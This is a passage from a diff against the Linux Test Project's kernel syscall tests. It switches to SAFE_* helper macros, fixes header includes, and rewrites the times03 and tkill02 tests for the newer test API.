+			fd = SAFE_OPEN(cleanup, desc->referencefn2, O_RDONLY);
+			SAFE_READ(cleanup, 1, fd, &vnum, sizeof(vnum));
+			SAFE_CLOSE(cleanup, fd);
 
 			if (tnum == vnum)
 				tst_resm(TPASS, "Test passed");
@@ -241,24 +213,19 @@
 static void setup(void)
 {
 	char *tmp;
+	int fd;
 
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
 
 	tst_tmpdir();
 
-	SUCCEED_OR_DIE(mkdir, "mkdir(%s, %o) failed: %s", TEST_DIR1, 0700);
-	SUCCEED_OR_DIE(mkdir, "mkdir(%s, %o) failed: %s", TEST_DIR3, 0700);
-	olddirfd =
-	    SUCCEED_OR_DIE(open, "open(%s, 0x%x) failed: %s", TEST_DIR1,
-			   O_DIRECTORY);
-	deldirfd =
-	    SUCCEED_OR_DIE(open, "open(%s, 0x%x) failed: %s", TEST_DIR3,
-			   O_DIRECTORY);
-	SUCCEED_OR_DIE(rmdir, "rmdir(%s) failed: %s", TEST_DIR3);
-	SUCCEED_OR_DIE(close, "close(%d) failed: %s",
-		       SUCCEED_OR_DIE(open, "open(%s, 0x%x, %o) failed: %s",
-				      TEST_DIR1 "/" TEST_FILE1,
-				      O_CREAT | O_EXCL, 0600));
+	SAFE_MKDIR(cleanup, TEST_DIR1, 0700);
+	SAFE_MKDIR(cleanup, TEST_DIR3, 0700);
+	olddirfd = SAFE_OPEN(cleanup, TEST_DIR1, O_DIRECTORY);
+	deldirfd = SAFE_OPEN(cleanup, TEST_DIR3, O_DIRECTORY);
+	SAFE_RMDIR(cleanup, TEST_DIR3);
+	fd = SAFE_OPEN(cleanup, TEST_DIR1 "/" TEST_FILE1, O_CREAT | O_EXCL, 0600);
+	SAFE_CLOSE(cleanup, fd);
 
 	/* gratuitous memory leak here */
 	tmp = strdup(dpathname);
diff --git a/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c b/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c
index 935786b..ea05195 100644
--- a/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c
+++ b/testcases/kernel/syscalls/sync_file_range/sync_file_range01.c
@@ -216,6 +216,11 @@
 	return ltp_syscall(__NR_sync_file_range, fd, (int)(offset >> 32),
 		(int)offset, (int)(nbytes >> 32), (int)nbytes, flags);
 
+/* mips */
+#elif defined(__mips__) && __WORDSIZE == 32
+	return ltp_syscall(__NR_sync_file_range, fd, 0, (int)(offset >> 32),
+		(int)offset, (int)(nbytes >> 32), (int)nbytes, flags);
+
 /* other */
 #else
 	return ltp_syscall(__NR_sync_file_range, fd, offset, nbytes, flags);
diff --git a/testcases/kernel/syscalls/sysconf/sysconf01.c b/testcases/kernel/syscalls/sysconf/sysconf01.c
index 8542e77..583deef 100644
--- a/testcases/kernel/syscalls/sysconf/sysconf01.c
+++ b/testcases/kernel/syscalls/sysconf/sysconf01.c
@@ -102,7 +102,11 @@
 	test_sysconf(_SC_ATEXIT_MAX);
 	test_sysconf(_SC_2_C_BIND);
 	test_sysconf(_SC_2_C_DEV);
+#ifdef _SC_2_C_VERSION
 	test_sysconf(_SC_2_C_VERSION);
+#else
+	tst_resm(TCONF, "_SC_2_C_VERSION not defined");
+#endif
 	/* 21 - 25 */
 	test_sysconf(_SC_2_CHAR_TERM);
 	test_sysconf(_SC_2_FORT_DEV);
diff --git a/testcases/kernel/syscalls/sysctl/sysctl03.c b/testcases/kernel/syscalls/sysctl/sysctl03.c
index 3da5c9e..68e4f86 100644
--- a/testcases/kernel/syscalls/sysctl/sysctl03.c
+++ b/testcases/kernel/syscalls/sysctl/sysctl03.c
@@ -39,11 +39,10 @@
  *
  * The documentation bug is filed as:
  * https://bugzilla.kernel.org/show_bug.cgi?id=15446 . If you want the message
- * removed, please ask your fellow kernel maintainer to fix his/her
- * documentation.
+ * removed, please ask your fellow kernel maintainer to fix their documentation.
  *
  * Thanks!
- * -Garrett
+ * -Ngie
  *
  * USAGE:  <for command-line>
  *  sysctl03 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
diff --git a/testcases/kernel/syscalls/sysfs/sysfs01.c b/testcases/kernel/syscalls/sysfs/sysfs01.c
index 582918a..9d9a082 100644
--- a/testcases/kernel/syscalls/sysfs/sysfs01.c
+++ b/testcases/kernel/syscalls/sysfs/sysfs01.c
@@ -68,7 +68,7 @@
 
 #include <errno.h>
 #include <unistd.h>
-#include <syscall.h>
+#include <sys/syscall.h>
 #include "test.h"
 #include "linux_syscall_numbers.h"
 
diff --git a/testcases/kernel/syscalls/sysfs/sysfs02.c b/testcases/kernel/syscalls/sysfs/sysfs02.c
index d7e8923..6c94b1e 100644
--- a/testcases/kernel/syscalls/sysfs/sysfs02.c
+++ b/testcases/kernel/syscalls/sysfs/sysfs02.c
@@ -66,7 +66,7 @@
 
 #include <errno.h>
 #include <unistd.h>
-#include <syscall.h>
+#include <sys/syscall.h>
 #include "test.h"
 #include "linux_syscall_numbers.h"
 
diff --git a/testcases/kernel/syscalls/sysfs/sysfs03.c b/testcases/kernel/syscalls/sysfs/sysfs03.c
index 51fdc92..b49b99e 100644
--- a/testcases/kernel/syscalls/sysfs/sysfs03.c
+++ b/testcases/kernel/syscalls/sysfs/sysfs03.c
@@ -66,7 +66,7 @@
 
 #include <errno.h>
 #include <unistd.h>
-#include <syscall.h>
+#include <sys/syscall.h>
 #include "test.h"
 #include "linux_syscall_numbers.h"
 
diff --git a/testcases/kernel/syscalls/sysfs/sysfs04.c b/testcases/kernel/syscalls/sysfs/sysfs04.c
index 6f596e1..b1131e4 100644
--- a/testcases/kernel/syscalls/sysfs/sysfs04.c
+++ b/testcases/kernel/syscalls/sysfs/sysfs04.c
@@ -69,7 +69,7 @@
  *****************************************************************************/
 
 #include <errno.h>
-#include  <syscall.h>
+#include  <sys/syscall.h>
 #include "test.h"
 #include "linux_syscall_numbers.h"
 
diff --git a/testcases/kernel/syscalls/sysfs/sysfs05.c b/testcases/kernel/syscalls/sysfs/sysfs05.c
index 749efe7..36bc786 100644
--- a/testcases/kernel/syscalls/sysfs/sysfs05.c
+++ b/testcases/kernel/syscalls/sysfs/sysfs05.c
@@ -70,7 +70,7 @@
  *****************************************************************************/
 
 #include <errno.h>
-#include <syscall.h>
+#include <sys/syscall.h>
 #include "test.h"
 #include "linux_syscall_numbers.h"
 
diff --git a/testcases/kernel/syscalls/sysfs/sysfs06.c b/testcases/kernel/syscalls/sysfs/sysfs06.c
index a282d93..e169462 100644
--- a/testcases/kernel/syscalls/sysfs/sysfs06.c
+++ b/testcases/kernel/syscalls/sysfs/sysfs06.c
@@ -70,7 +70,7 @@
  *****************************************************************************/
 
 #include <errno.h>
-#include <syscall.h>
+#include <sys/syscall.h>
 #include <sys/mman.h>
 #include "test.h"
 #include "linux_syscall_numbers.h"
diff --git a/testcases/kernel/syscalls/syslog/syslog-lib.sh b/testcases/kernel/syscalls/syslog/syslog-lib.sh
index e166d3a..35c13da 100755
--- a/testcases/kernel/syscalls/syslog/syslog-lib.sh
+++ b/testcases/kernel/syscalls/syslog/syslog-lib.sh
@@ -86,8 +86,8 @@
 )
 		fi
 	else
-		tst_resm TBROK "Couldn't find syslogd, syslog-ng or rsyslogd"
-		cleanup 1
+		tst_resm TCONF "Couldn't find syslogd, syslog-ng or rsyslogd"
+		cleanup 32
 	fi
 
 	# Back up configuration file
diff --git a/testcases/kernel/syscalls/syslog/syslog02 b/testcases/kernel/syscalls/syslog/syslog02
index 7a55a84..2213ce3 100755
--- a/testcases/kernel/syscalls/syslog/syslog02
+++ b/testcases/kernel/syscalls/syslog/syslog02
@@ -72,7 +72,7 @@
 		if [ -e "$MAILLOG" ]; then
 			oldvalue=`grep -c "syslogtst: mail $level test\." $MAILLOG`
 		else
-			oldvalue1=0
+			oldvalue=0
 		fi
 
 		# syslogtst has to be called with additional level argument(0-7)
diff --git a/testcases/kernel/syscalls/syslog/syslog11.c b/testcases/kernel/syscalls/syslog/syslog11.c
index 0cae139..8d1f2c8 100644
--- a/testcases/kernel/syscalls/syslog/syslog11.c
+++ b/testcases/kernel/syscalls/syslog/syslog11.c
@@ -69,6 +69,7 @@
 #include <sys/types.h>
 #include <unistd.h>
 #include <linux/unistd.h>
+#include <sys/syscall.h>
 #include "test.h"
 
 #define UNEXP_RET_VAL	-1
diff --git a/testcases/kernel/syscalls/syslog/syslog12.c b/testcases/kernel/syscalls/syslog/syslog12.c
index e0d21d8..883c3eb 100644
--- a/testcases/kernel/syscalls/syslog/syslog12.c
+++ b/testcases/kernel/syscalls/syslog/syslog12.c
@@ -79,6 +79,7 @@
 #include <unistd.h>
 #include <signal.h>
 #include <linux/unistd.h>
+#include <sys/syscall.h>
 #include "test.h"
 
 #define EXP_RET_VAL	-1
diff --git a/testcases/kernel/syscalls/timer_getoverrun/timer_getoverrun01.c b/testcases/kernel/syscalls/timer_getoverrun/timer_getoverrun01.c
index bc03544..a017f9d 100644
--- a/testcases/kernel/syscalls/timer_getoverrun/timer_getoverrun01.c
+++ b/testcases/kernel/syscalls/timer_getoverrun/timer_getoverrun01.c
@@ -24,7 +24,7 @@
 #include <errno.h>
 #include <time.h>
 #include <signal.h>
-#include <syscall.h>
+#include <sys/syscall.h>
 
 #include "test.h"
 #include "linux_syscall_numbers.h"
diff --git a/testcases/kernel/syscalls/timer_gettime/timer_gettime01.c b/testcases/kernel/syscalls/timer_gettime/timer_gettime01.c
index 9371a6a..57d23fc 100644
--- a/testcases/kernel/syscalls/timer_gettime/timer_gettime01.c
+++ b/testcases/kernel/syscalls/timer_gettime/timer_gettime01.c
@@ -22,7 +22,7 @@
 
 #include <time.h>
 #include <signal.h>
-#include <syscall.h>
+#include <sys/syscall.h>
 #include <stdio.h>
 #include <errno.h>
 
diff --git a/testcases/kernel/syscalls/timerfd/timerfd01.c b/testcases/kernel/syscalls/timerfd/timerfd01.c
index 00bae88..4a3cf2f 100644
--- a/testcases/kernel/syscalls/timerfd/timerfd01.c
+++ b/testcases/kernel/syscalls/timerfd/timerfd01.c
@@ -132,7 +132,8 @@
 
 int main(int ac, char **av)
 {
-	int i, tfd;
+	int tfd;
+	unsigned int i;
 	long ticks;
 	unsigned long long tnow, ttmr;
 	u_int64_t uticks;
@@ -142,6 +143,8 @@
 		{CLOCK_REALTIME, "CLOCK REALTIME"},
 	};
 
+	tst_parse_opts(ac, av, NULL, NULL);
+
 	if ((tst_kvercmp(2, 6, 25)) < 0) {
 		tst_resm(TCONF, "This test can only run on kernels that are ");
 		tst_resm(TCONF, "2.6.25 and higher");
diff --git a/testcases/kernel/syscalls/times/times03.c b/testcases/kernel/syscalls/times/times03.c
index 9234a63..0db8215 100644
--- a/testcases/kernel/syscalls/times/times03.c
+++ b/testcases/kernel/syscalls/times/times03.c
@@ -1,26 +1,22 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ * Copyright (C) 2017 Cyril Hrubis <chrubis@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
-
 /*
- * NAME
- *	times03.c
- *
  * DESCRIPTION
  *	Testcase to check the basic functionality of the times() system call.
  *
@@ -30,191 +26,33 @@
  *	a for-loop. Then use the times() system call, to determine the
  *	cpu time/sleep time, and other statistics.
  *
- * USAGE:  <for command-line>
- *	times03 [-c n] [-f] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-f   : Turn off functionality Testing.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
  * History
  *	07/2001 John George
- *		-Ported
- *
- * Restrictions
- *	NONE
  */
 
 #include <sys/types.h>
 #include <sys/times.h>
 #include <errno.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <time.h>
-#include "test.h"
 #include <signal.h>
-#include <stdint.h>
+#include <stdlib.h>
 
-char *TCID = "times03";
-int TST_TOTAL = 1;
+#include "tst_test.h"
 
-volatile int timeout;		/* Did we timeout in alarm() ? */
+static volatile int timeout;
 
-void work(void);
-void sighandler(int signal, siginfo_t * info, void *uc);
-
-void setup(void);
-void cleanup(void);
-
-int main(int argc, char **argv)
-{
-	struct tms buf1, buf2;
-	time_t start_time, end_time;
-	int pid2, status;
-	struct sigaction sa;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	/*
-	 * We spend time in userspace using the following mechanism :
-	 * Setup an alarm() for 3 secs and do some simple loop operations
-	 * until we get the signal. This makes the test independent of
-	 * processor speed.
-	 */
-	sa.sa_sigaction = sighandler;
-	sigemptyset(&sa.sa_mask);
-	sa.sa_flags = SA_SIGINFO;
-
-	if (sigaction(SIGALRM, &sa, NULL) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "Sigaction failed !\n");
-
-	timeout = 0;
-	alarm(3);
-
-	work();
-
-	/*
-	 * At least some CPU time must be used in system space. This is
-	 * achieved by executing the times(2) call for
-	 * atleast 5 secs. This logic makes it independant
-	 * of the processor speed.
-	 */
-	start_time = time(NULL);
-	for (;;) {
-		if (times(&buf1) == -1)
-			tst_resm(TFAIL | TERRNO, "times failed");
-		end_time = time(NULL);
-		if ((end_time - start_time) > 5) {
-			break;
-		}
-	}
-	if (times(&buf1) == -1) {
-		tst_resm(TFAIL | TERRNO, "times failed");
-	} else {
-		if (buf1.tms_utime == 0)
-			tst_resm(TFAIL, "times report " "0 user time");
-		if (buf1.tms_stime == 0)
-			tst_resm(TFAIL, "times report "
-				 "0 system time");
-		if (buf1.tms_cutime != 0)
-			tst_resm(TFAIL, "times report "
-				 "%ld child user time",
-				 buf1.tms_cutime);
-		if (buf1.tms_cstime != 0)
-			tst_resm(TFAIL,
-				 "times report "
-				 "%ld child system time",
-				 buf1.tms_cstime);
-
-		pid2 = FORK_OR_VFORK();
-		if (pid2 < 0) {
-			tst_brkm(TFAIL, cleanup, "Fork failed");
-		} else if (pid2 == 0) {
-
-			/* Spend some cycles in userspace */
-
-			timeout = 0;
-			alarm(3);
-
-			work();
-
-			/*
-			 * Atleast some CPU system ime must be used
-			 * even in the child process (thereby
-			 * making it independent of the
-			 * processor speed). In fact the child
-			 * uses twice as much CPU time.
-			 */
-			start_time = time(NULL);
-			for (;;) {
-				if (times(&buf2) == -1) {
-					tst_resm(TFAIL,
-						 "Call to times "
-						 "failed, "
-						 "errno = %d", errno);
-					exit(1);
-				}
-				end_time = time(NULL);
-				if ((end_time - start_time)
-				    > 10) {
-					break;
-				}
-			}
-			exit(0);
-		}
-
-		waitpid(pid2, &status, 0);
-		if (WEXITSTATUS(status) != 0) {
-			tst_resm(TFAIL, "Call to times(2) "
-				 "failed in child");
-		}
-		if (times(&buf2) == -1) {
-			tst_resm(TFAIL | TTERRNO, "times failed");
-		}
-		if (buf1.tms_utime > buf2.tms_utime)
-			tst_resm(TFAIL, "Error: parents's "
-				 "user time(%ld) before child "
-				 "> parent's user time (%ld) "
-				 "after child",
-				 buf1.tms_utime, buf2.tms_utime);
-		if (buf2.tms_cutime == 0)
-			tst_resm(TFAIL, "times "
-				 "report %ld child user "
-				 "time should be > than "
-				 "zero", buf2.tms_cutime);
-		if (buf2.tms_cstime == 0)
-			tst_resm(TFAIL, "times "
-				 "report %ld child system time "
-				 "should be > than zero",
-				 buf2.tms_cstime);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-/*
- * sighandler
- *	Set the timeout to indicate we timed out in the alarm().
- */
-
-void sighandler(int signal, siginfo_t * info, void *uc)
+static void sighandler(int signal)
 {
 	if (signal == SIGALRM)
 		timeout = 1;
-	else
-		tst_brkm(TBROK, cleanup, "Unexpected signal %d\n", signal);
 }
 
-/*
- * work
- *	Do some work in user space, until we get a timeout.
- */
+static volatile int k;
 
-void work(void)
+static void work(void)
 {
-	int i, j, k;
+	int i, j;
 
 	while (!timeout)
 		for (i = 0; i < 10000; i++)
@@ -223,27 +61,154 @@
 	timeout = 0;
 }
 
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
+static void generate_utime(void)
 {
+	alarm(1);
+	work();
+}
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
+static void generate_stime(void)
+{
+	time_t start_time, end_time;
+	struct tms buf;
 
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -c option.
+	/*
+	 * At least some CPU time must be used in system space. This is
+	 * achieved by executing the times(2) call for
+	 * atleast 2 secs. This logic makes it independant
+	 * of the processor speed.
 	 */
-	TEST_PAUSE;
+	start_time = time(NULL);
+	for (;;) {
+		if (times(&buf) == -1)
+			tst_res(TFAIL | TERRNO, "times failed");
+		end_time = time(NULL);
+		if ((end_time - start_time) > 2)
+			return;
+	}
+}
+
+static void verify_times(void)
+{
+	int pid;
+	struct tms buf1, buf2, buf3;
+
+	if (times(&buf1) == -1)
+		tst_brk(TBROK | TERRNO, "times()");
+
+	if (buf1.tms_utime != 0)
+		tst_res(TFAIL, "buf1.tms_utime = %li", buf1.tms_utime);
+	else
+		tst_res(TPASS, "buf1.tms_utime = 0");
+
+	if (buf1.tms_stime != 0)
+		tst_res(TFAIL, "buf1.tms_stime = %li", buf1.tms_stime);
+	else
+		tst_res(TPASS, "buf1.tms_stime = 0");
+
+	generate_utime();
+	generate_stime();
+
+	if (times(&buf2) == -1)
+		tst_brk(TBROK | TERRNO, "times()");
+
+	if (buf2.tms_utime == 0)
+		tst_res(TFAIL, "buf2.tms_utime = 0");
+	else
+		tst_res(TPASS, "buf2.tms_utime = %li", buf2.tms_utime);
+
+	if (buf1.tms_utime >= buf2.tms_utime) {
+		tst_res(TFAIL, "buf1.tms_utime (%li) >= buf2.tms_utime (%li)",
+			buf1.tms_utime, buf2.tms_utime);
+	} else {
+		tst_res(TPASS, "buf1.tms_utime (%li) < buf2.tms_utime (%li)",
+			buf1.tms_utime, buf2.tms_utime);
+	}
+
+	if (buf2.tms_stime == 0)
+		tst_res(TFAIL, "buf2.tms_stime = 0");
+	else
+		tst_res(TPASS, "buf2.tms_stime = %li", buf2.tms_stime);
+
+	if (buf1.tms_stime >= buf2.tms_stime) {
+		tst_res(TFAIL, "buf1.tms_stime (%li) >= buf2.tms_stime (%li)",
+			buf1.tms_stime, buf2.tms_stime);
+	} else {
+		tst_res(TPASS, "buf1.tms_stime (%li) < buf2.tms_stime (%li)",
+			buf1.tms_stime, buf2.tms_stime);
+	}
+
+	if (buf2.tms_cutime != 0)
+		tst_res(TFAIL, "buf2.tms_cutime = %li", buf2.tms_cutime);
+	else
+		tst_res(TPASS, "buf2.tms_cutime = 0");
+
+	if (buf2.tms_cstime != 0)
+		tst_res(TFAIL, "buf2.tms_cstime = %li", buf2.tms_cstime);
+	else
+		tst_res(TPASS, "buf2.tms_cstime = 0");
+
+	pid = SAFE_FORK();
+
+	if (!pid) {
+		generate_utime();
+		generate_stime();
+		exit(0);
+	}
+
+	SAFE_WAITPID(pid, NULL, 0);
+
+	if (times(&buf3) == -1)
+		tst_brk(TBROK | TERRNO, "times()");
+
+	if (buf2.tms_utime > buf3.tms_utime) {
+		tst_res(TFAIL, "buf2.tms_utime (%li) > buf3.tms_utime (%li)",
+			buf2.tms_utime, buf3.tms_utime);
+	} else {
+		tst_res(TPASS, "buf2.tms_utime (%li) <= buf3.tms_utime (%li)",
+			buf2.tms_utime, buf3.tms_utime);
+	}
+
+	if (buf2.tms_stime > buf3.tms_stime) {
+		tst_res(TFAIL, "buf2.tms_stime (%li) > buf3.tms_stime (%li)",
+			buf2.tms_stime, buf3.tms_stime);
+	} else {
+		tst_res(TPASS, "buf2.tms_stime (%li) <= buf3.tms_stime (%li)",
+			buf2.tms_stime, buf3.tms_stime);
+	}
+
+	if (buf3.tms_cutime == 0)
+		tst_res(TFAIL, "buf3.tms_cutime = 0");
+	else
+		tst_res(TPASS, "buf3.tms_cutime = %ld", buf3.tms_cutime);
+
+	if (buf3.tms_cstime == 0)
+		tst_res(TFAIL, "buf3.tms_cstime = 0");
+	else
+		tst_res(TPASS, "buf3.tms_cstime = %ld", buf3.tms_cstime);
+
+	exit(0);
 }
 
 /*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
+ * Run the test in a child to reset times in case of -i option.
  */
-void cleanup(void)
+static void do_test(void)
 {
+	int pid = SAFE_FORK();
 
+	if (!pid)
+		verify_times();
 }
+
+static void setup(void)
+{
+	SAFE_SIGNAL(SIGALRM, sighandler);
+}
+
+static struct tst_test test = {
+	.tid = "times03",
+	.setup = setup,
+	.forks_child = 1,
+	.test_all = do_test,
+};
diff --git a/testcases/kernel/syscalls/tkill/tkill02.c b/testcases/kernel/syscalls/tkill/tkill02.c
index 24f2bb2..cc0d4f5 100644
--- a/testcases/kernel/syscalls/tkill/tkill02.c
+++ b/testcases/kernel/syscalls/tkill/tkill02.c
@@ -1,42 +1,29 @@
-/******************************************************************************/
-/* Copyright (c) Crackerjack Project., 2007				   */
-/*									    */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or	  */
-/* (at your option) any later version.					*/
-/*									    */
-/* This program is distributed in the hope that it will be useful,	    */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of	    */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See		  */
-/* the GNU General Public License for more details.			   */
-/*									    */
-/* You should have received a copy of the GNU General Public License	  */
-/* along with this program;  if not, write to the Free Software	       */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*									    */
-/******************************************************************************/
-/******************************************************************************/
-/*									    */
-/* File:	tkill02.c					   */
-/*									    */
-/* Description: This tests the tkill() syscall		      */
-/*									    */
-/* Usage:  <for command-line>						 */
-/* tkill02 [-c n] [-e][-i n] [-I x] [-p x] [-t]		     */
-/*      where,  -c n : Run n copies concurrently.			     */
-/*	      -e   : Turn on errno logging.				 */
-/*	      -i n : Execute test n times.				  */
-/*	      -I x : Execute test for x seconds.			    */
-/*	      -P x : Pause for x seconds between iterations.		*/
-/*	      -t   : Turn on syscall timing.				*/
-/*									    */
-/* Total Tests: 1							     */
-/*									    */
-/* Test Name:   tkill02					     */
-/* History:     Porting from Crackerjack to LTP is done by		    */
-/*	      Manas Kumar Nayak maknayak@in.ibm.com>			*/
-/******************************************************************************/
+/******************************************************************************
+ * Copyright (c) Crackerjack Project., 2007                                   *
+ *                                                                            *
+ * This program is free software;  you can redistribute it and/or modify      *
+ * it under the terms of the GNU General Public License as published by       *
+ * the Free Software Foundation; either version 2 of the License, or          *
+ * (at your option) any later version.                                        *
+ *                                                                            *
+ * This program is distributed in the hope that it will be useful,            *
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of            *
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  *
+ * the GNU General Public License for more details.                           *
+ *                                                                            *
+ * You should have received a copy of the GNU General Public License          *
+ * along with this program;  if not, write to the Free Software Foundation,   *
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           *
+ *                                                                            *
+ ******************************************************************************/
+/*
+ * File:	tkill02.c
+ *
+ * Description: This tests the tkill() syscall
+ *
+ * History:     Porting from Crackerjack to LTP is done by
+ *              Manas Kumar Nayak maknayak@in.ibm.com>
+ */
 
 #include <stdio.h>
 #include <stdlib.h>
@@ -54,53 +41,13 @@
 static pid_t inval_tid = -1;
 static pid_t unused_tid;
 
-
-/* Extern Global Functions */
-/******************************************************************************/
-/*									    */
-/* Function:    cleanup						       */
-/*									    */
-/* Description: Performs all one time clean up for this test on successful    */
-/*	      completion,  premature exit or  failure. Closes all temporary */
-/*	      files, removes all temporary directories exits the test with  */
-/*	      appropriate return code by calling tst_exit() function.       */
-/*									    */
-/* Input:       None.							 */
-/*									    */
-/* Output:      None.							 */
-/*									    */
-/* Return:      On failure - Exits calling tst_exit(). Non '0' return code.   */
-/*	      On success - Exits calling tst_exit(). With '0' return code.  */
-/*									    */
-/******************************************************************************/
 void cleanup(void)
 {
-
 	tst_rmdir();
 }
 
-/* Local  Functions */
-/******************************************************************************/
-/*									    */
-/* Function:    setup							 */
-/*									    */
-/* Description: Performs all one time setup for this test. This function is   */
-/*	      typically used to capture signals, create temporary dirs      */
-/*	      and temporary files that may be used in the course of this    */
-/*	      test.							 */
-/*									    */
-/* Input:       None.							 */
-/*									    */
-/* Output:      None.							 */
-/*									    */
-/* Return:      On failure - Exits by calling cleanup().		      */
-/*	      On success - returns 0.				       */
-/*									    */
-/******************************************************************************/
 void setup(void)
 {
-	/* Capture signals if any */
-	/* Create temporary directories */
 	TEST_PAUSE;
 	tst_tmpdir();
 
@@ -111,9 +58,8 @@
 	int *tid;
 	int exp_errno;
 } test_cases[] = {
-	{
-	&inval_tid, EINVAL}, {
-	&unused_tid, ESRCH}
+	{&inval_tid, EINVAL},
+	{&unused_tid, ESRCH}
 };
 
 int TST_TOTAL = sizeof(test_cases) / sizeof(test_cases[0]);
@@ -124,6 +70,8 @@
 
 	setup();
 
+	tst_parse_opts(ac, av, NULL, NULL);
+
 	for (i = 0; i < TST_TOTAL; i++) {
 
 		TEST(ltp_syscall(__NR_tkill, *(test_cases[i].tid), SIGUSR1));
diff --git a/testcases/kernel/syscalls/truncate/truncate01.c b/testcases/kernel/syscalls/truncate/truncate01.c
index 68e2e49..b6782ff 100644
--- a/testcases/kernel/syscalls/truncate/truncate01.c
+++ b/testcases/kernel/syscalls/truncate/truncate01.c
@@ -70,7 +70,7 @@
 
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/truncate/truncate02.c b/testcases/kernel/syscalls/truncate/truncate02.c
index 6b26fa8..4cbf0e4 100644
--- a/testcases/kernel/syscalls/truncate/truncate02.c
+++ b/testcases/kernel/syscalls/truncate/truncate02.c
@@ -71,7 +71,7 @@
 
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/truncate/truncate03.c b/testcases/kernel/syscalls/truncate/truncate03.c
index 60881c9..0aa7b3e 100644
--- a/testcases/kernel/syscalls/truncate/truncate03.c
+++ b/testcases/kernel/syscalls/truncate/truncate03.c
@@ -44,7 +44,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/mman.h>
 #include <errno.h>
 #include <string.h>
@@ -119,7 +119,7 @@
 	struct passwd *ltpuser;
 	char *bad_addr;
 	struct rlimit rlim;
-	sigset_t sigset;
+	sigset_t signalset;
 
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
 
@@ -157,9 +157,9 @@
 	rlim.rlim_max = MAX_FSIZE;
 	SAFE_SETRLIMIT(cleanup, RLIMIT_FSIZE, &rlim);
 
-	sigemptyset(&sigset);
-	sigaddset(&sigset, SIGXFSZ);
-	TEST(sigprocmask(SIG_BLOCK, &sigset, NULL));
+	sigemptyset(&signalset);
+	sigaddset(&signalset, SIGXFSZ);
+	TEST(sigprocmask(SIG_BLOCK, &signalset, NULL));
 	if (TEST_RETURN != 0)
 		tst_brkm(TBROK | TTERRNO, cleanup, "sigprocmask");
 }
diff --git a/testcases/kernel/syscalls/umask/umask01.c b/testcases/kernel/syscalls/umask/umask01.c
index 9677539..8ee03df 100644
--- a/testcases/kernel/syscalls/umask/umask01.c
+++ b/testcases/kernel/syscalls/umask/umask01.c
@@ -1,153 +1,77 @@
 /*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by John George
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
